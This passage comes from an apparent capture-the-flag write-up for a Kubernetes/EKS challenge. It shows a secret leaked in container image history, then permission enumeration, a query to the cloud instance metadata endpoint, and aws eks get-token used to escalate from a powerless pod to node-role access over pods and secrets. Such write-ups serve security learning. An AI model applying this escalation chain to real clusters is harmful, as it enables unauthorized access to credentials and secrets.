\"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"os\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"rootfs\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"diff_ids\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like they made the same mistake again and leaked the secret in the image\nlayers!\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ewiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} \n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eTime for challenge 4!\u003c/p\u003e\n\u003ch1\u003eChallenge 4\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eYou're inside a vulnerable pod on an EKS cluster. Your pod's service-account has\nno permissions. Can you navigate your way to access the EKS Node's privileged\nservice-account?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis sounds like we are going to need to escalate our privileges through the AWS\naccess we acquired in the last challenge. Let us start with inspecting the\nenvironment again:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e server\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (Forbidden): pods is forbidden: User \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"system:serviceaccount:challenge4:service-account-challenge4\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cannot list resource \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"pods\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e in API group \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e in the namespace \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"challenge4\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we do not even have access to list pods! Do we have any access?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/.well-known/openid-configuration] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openid/v1/jwks] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThat is \u003cem\u003every\u003c/em\u003e minimal access. So we are going to have to try get a token using\nthe escalated privileges. Usually we could use \u003ccode\u003eaws eks get-token\u003c/code\u003e but that\nrequires knowing the cluster name and I do not know that. Let us try to list the\nclusters:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list-clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo they have not given us much to go on at all here. The role itself \u003cem\u003emight\u003c/em\u003e be\na clue but that is relying on them being consistent with their naming:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003earn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe cluster name \u003cem\u003emight\u003c/em\u003e be \u003ccode\u003eeks-challenge-cluster\u003c/code\u003e based on that but I cannot\nguarantee that. Let us check its security groups:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -sS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/security-groups\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e;\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eecho\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeks-cluster-sg-eks-challenge-cluster-963543728\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe name is there again. I do not feel good about not having more details but it\nis at least worth trying it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-token\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cluster-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ExecCredential\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"client.authentication.k8s.io/v1beta1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"spec\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"status\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"expirationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03T03:38:10Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"token\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYX\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis gets us a token, so let us try to use it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-token\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cluster-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.status.token'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [debug-sa] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 